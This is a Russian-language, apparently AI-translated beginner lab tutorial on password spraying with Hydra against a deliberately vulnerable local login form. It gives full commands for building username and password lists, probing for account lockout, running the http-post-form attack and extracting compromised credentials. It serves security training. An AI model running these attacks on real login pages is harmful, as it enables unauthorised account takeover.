Распыление паролей в Hydra

HydraHydraBeginner
Практиковаться сейчас

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

В этом лабораторном занятии вы узнаете, как проводить атаки методом «распыления паролей» (password spray attacks) с использованием Hydra, универсального инструмента для кибербезопасности, предназначенного для перебора паролей (brute-force testing). Вы изучите процесс настройки Hydra, создание списков учетных данных и выполнение целевых атак на веб-формы аутентификации.

В лабораторном занятии предоставляется практический опыт по настройке параметров атаки, анализу результатов и выявлению слабых учетных данных. С помощью практических упражнений вы получите представление о распространенных уязвимостях аутентификации и стратегиях защиты.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) hydra(("Hydra")) -.-> hydra/HydraGroup(["Hydra"]) nmap/NmapGroup -.-> nmap/target_specification("Target Specification") hydra/HydraGroup -.-> hydra/installation("Installation and Setup") subgraph Lab Skills nmap/target_specification -.-> lab-549952{{"Распыление паролей в Hydra"}} hydra/installation -.-> lab-549952{{"Распыление паролей в Hydra"}} end

Установка Hydra

На этом этапе вы установите Hydra, мощный и гибкий инструмент для взлома паролей, который профессионалы в области безопасности используют для тестирования безопасности систем. Hydra может выполнять атаки методом перебора (brute-force attacks) на многие различные сетевые сервисы, такие как веб-сайты (HTTP), передача файлов (FTP) и безопасные оболочки (SSH). Понимание принципов работы таких инструментов помогает вам лучше защищать системы от атак.

  1. Сначала нам нужно обновить список пакетов вашей системы. Это гарантирует, что вы установите последнюю доступную версию Hydra:

    sudo apt update

    Команда sudo предоставляет вам права администратора, а apt update обновляет список доступных программных пакетов.

  2. Теперь установите Hydra с помощью этой простой команды:

    sudo apt install hydra -y

    Флаг -y автоматически отвечает "да" на все запросы во время установки, что делает процесс более плавным.

  3. После установки убедимся, что Hydra работает корректно, проверив его версию:

    hydra -v

    Вы должны увидеть вывод, похожий на следующий:

    Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

    Эта проверка версии подтверждает, что Hydra успешно установлен и готов к использованию.

  4. Для доступа к расширенным функциям и лучшей производительности с определенными протоколами установите следующие необязательные зависимости:

    sudo apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev -y

    Эти библиотеки позволяют Hydra работать с дополнительными сервисами, такими как базы данных (MySQL, PostgreSQL) и системы контроля версий (Subversion).

Подготовка списков пользователей и паролей

На этом этапе вы создадите важные текстовые файлы, необходимые Hydra для выполнения атаки методом «распыления паролей» (password spraying attack). Эти файлы содержат возможные имена пользователей и пароли, которые Hydra будет последовательно проверять на целевой веб-форме. Метод «распыления паролей» заключается в том, чтобы попробовать несколько распространенных паролей на многих учетных записях пользователей, что позволяет избежать блокировки учетных записей, которая возникает при попытке множества паролей на одной учетной записи.

  1. Сначала перейдите в каталог проекта, где мы будем хранить наши файлы. Это поможет организовать все в одном месте:

    cd ~/project
  2. Теперь создадим файл, содержащий распространенные имена пользователей. Это типичные имена учетных записей, которые могут существовать в системе. Мы будем использовать текстовый редактор nano для создания и редактирования файла:

    nano users.txt

    Добавьте следующие распространенные имена пользователей, по одному на каждой строке:

    admin
    administrator
    user
    test
    guest
    root
  3. Далее создадим файл со списком паролей. Это слабые пароли, которые пользователи могут установить, и поэтому они подходят для тестирования. Опять используем nano:

    nano passwords.txt

    Добавьте эти часто используемые пароли, каждый на отдельной строке:

    password
    123456
    admin
    letmein
    welcome
    qwerty
  4. После создания обоих файлов убедимся, что они существуют в нашем каталоге. Команда ls -l показывает подробную информацию о файлах, включая дату создания и размер:

    ls -l

    В выводе вы должны увидеть как users.txt, так и passwords.txt.

  5. Наконец, проверим фактическое содержимое каждого файла, чтобы убедиться, что они были созданы правильно. Команда cat отображает содержимое файлов непосредственно в терминале:

    cat users.txt
    cat passwords.txt

Целирование веб-формы

На этом этапе вы определите и проанализируете целевую веб-форму для атаки методом «распыления паролей». В этом упражнении мы будем использовать специально уязвимое веб-приложение, запущенное на http://localhost:8080. Метод «распыления паролей» заключается в попытке нескольких распространенных паролей на многих учетных записях пользователей, поэтому понимание структуры формы входа в систему является важным перед началом атаки.

  1. Сначала убедитесь, что целевое веб-приложение запущено:

    curl -I http://localhost:8080/login

    Флаг -I сообщает curl получить только HTTP-заголовки. Вы должны увидеть статус 200 OK, подтверждающий, что страница входа доступна. Если вы получаете ошибку подключения, убедитесь, что веб-сервер запущен, прежде чем продолжать.

  2. Изучите структуру формы входа, просмотрев исходный код страницы:

    curl http://localhost:8080/login | grep -A5 -B5 "form"

    Эта команда получает HTML-содержимое и показывает 5 строк до и после любых тегов <form>. Найдите атрибут action формы (куда отправляются данные) и имена полей ввода - обычно они называются username и password, но могут отличаться.

  3. Создайте файл для тестового запроса, чтобы документировать параметры формы:

    nano form_test.txt

    Добавьте следующее содержимое, чтобы записать важные детали, необходимые Hydra:

    Target URL: http://localhost:8080/login
    Method: POST
    Username field: username
    Password field: password
    Failure indicator: "Invalid credentials"

    Индикатор неудачи помогает Hydra распознавать, когда попытки входа неудачны. Мы будем использовать этот файл позже для настройки атаки.

  4. Протестируйте форму вручную с помощью одной пары учетных данных:

    curl -X POST -d "username=admin&password=wrongpass" http://localhost:8080/login -v

    -X POST указывает HTTP-метод, а -d отправляет данные формы. Флаг -v показывает подробный вывод, чтобы вы могли проверить ответ "Invalid credentials". Это подтверждает, что форма работает как ожидается при неудачных попытках входа.

  5. Проверьте политики блокировки учетных записей, отправив 5 быстрых запросов:

    for i in {1..5}; do
      curl -X POST -d "username=admin&password=wrong$i" http://localhost:8080/login -s -o /dev/null -w "Attempt $i: %{http_code}\n"
    done

    Этот цикл отправляет 5 быстрых неудачных попыток. Следите, не изменяется ли HTTP-статус код с 200 (успех) на 403 (запрещено), что может указывать на наличие защит от блокировки. В реальных приложениях часто есть такие защиты, но в нашей тестовой среде их нет.

Выполнение атаки методом «распыления паролей»

На этом этапе вы выполните атаку методом «распыления паролей» на целевую веб-форму с помощью Hydra, используя списки пользователей и паролей, которые вы подготовили ранее. Метод «распыления паролей» - это техника, при которой вы пробуете небольшое количество распространенных паролей на многих учетных записях пользователей, что позволяет избежать блокировки учетных записей, которые могут возникнуть при традиционных атаках методом перебора (brute-force attacks).

  1. Сначала перейдите в каталог проекта, где хранятся ваши списки пользователей и паролей:

    cd ~/project
  2. Теперь запустим Hydra с тщательно выбранными параметрами. Эта команда сообщает Hydra проверить каждый пароль из вашего списка на каждый логин, используя страницу входа в систему веб-формы в качестве цели:

    hydra -L users.txt -P passwords.txt localhost http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -vV

    Разберем, что делает каждый параметр:

    • -L users.txt: Указывает на ваш список имен пользователей (по одному на каждой строке)
    • -P passwords.txt: Указывает на ваш список паролей для проверки
    • http-post-form: Указывает, что мы атакуем веб-форму, используя метод POST
    • /login:...: Определяет структуру формы - часть после двоеточия сообщает Hydra, как распознавать неудачные попытки
    • -t 4: Запускает 4 параллельных соединения для ускорения атаки
    • -vV: Выводит подробную информацию, чтобы вы могли видеть ход выполнения
  3. Во время работы Hydra внимательно следите за выводом. Когда Hydra найдет действительные учетные данные, он отобразит их следующим образом:

    [80][http-post-form] host: localhost   login: admin   password: admin
  4. Чтобы сохранить результаты для документации или дальнейшего анализа, запустите Hydra с параметром -o:

    hydra -L users.txt -P passwords.txt localhost http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -o results.txt
  5. После завершения атаки вы можете просмотреть сохраненные результаты с помощью команды:

    cat results.txt

    Этот файл будет содержать все успешные комбинации логина и пароля, найденные во время атаки.

Анализ результатов

На этом этапе вы проанализируете результаты атаки методом «распыления паролей», чтобы определить скомпрометированные учетные данные и понять последствия для безопасности. Метод «распыления паролей» - это техника, при которой атакующие пробуют несколько распространенных паролей на многих учетных записях, а не множество паролей на нескольких учетных записях.

  1. Сначала изучите исходный файл результатов, созданный Hydra. Этот файл содержит все попытки, сделанные Hydra во время атаки:

    cat ~/project/results.txt

    Найдите строки, содержащие "[80][http-post-form]", которые указывают на успешные входы в систему. Число 80 относится к порту HTTP, а http-post-form показывает, что это была отправка веб-формы.

  2. Чтобы сосредоточиться только на успешных попытках, извлеките только скомпрометированные учетные данные в новый файл. Команда grep фильтрует строки, содержащие шаблон успеха:

    grep "[80][http-post-form]" ~/project/results.txt > ~/project/compromised_creds.txt
  3. Подсчитайте количество скомпрометированных учетных записей, чтобы понять масштаб уязвимости. Команда wc (word count) с флагом -l подсчитывает строки:

    wc -l ~/project/compromised_creds.txt
  4. Проанализируйте шаблоны паролей, создав список частоты использования паролей. Это поможет определить слабые пароли, которые были часто использованы:

    awk '{print $6}' ~/project/compromised_creds.txt | sort | uniq -c | sort -nr

    Эта команда извлекает 6-е поле (пароль), сортирует их, подсчитывает дубликаты и сортирует по частоте.

  5. Создайте отчет о безопасности, в котором будут изложены основные выводы. Эта структурированная форма поможет ясно документировать результаты:

    echo "Password Spray Attack Results" > ~/project/security_report.txt
    echo "Compromised accounts: $(wc -l < ~/project/compromised_creds.txt)" >> ~/project/security_report.txt
    echo "Most common password: $(awk '{print $6}' ~/project/compromised_creds.txt | sort | uniq -c | sort -nr | head -1)" >> ~/project/security_report.txt
  6. Просмотрите итоговый отчет о безопасности, чтобы увидеть собранные результаты:

    cat ~/project/security_report.txt

Резюме

В этом практическом занятии вы узнали, как провести атаку методом «распыления паролей» с использованием Hydra в системе Linux. Процесс включал установку инструмента, подготовку списков учетных данных и настройку атаки на веб-форму.

Вы также изучили основную функциональность Hydra для попыток перебора (brute-force) на сетевых сервисах. В практическом занятии были подчеркнуты правильные методы настройки, такие как создание структурированных входных файлов и понимание важных параметров команд.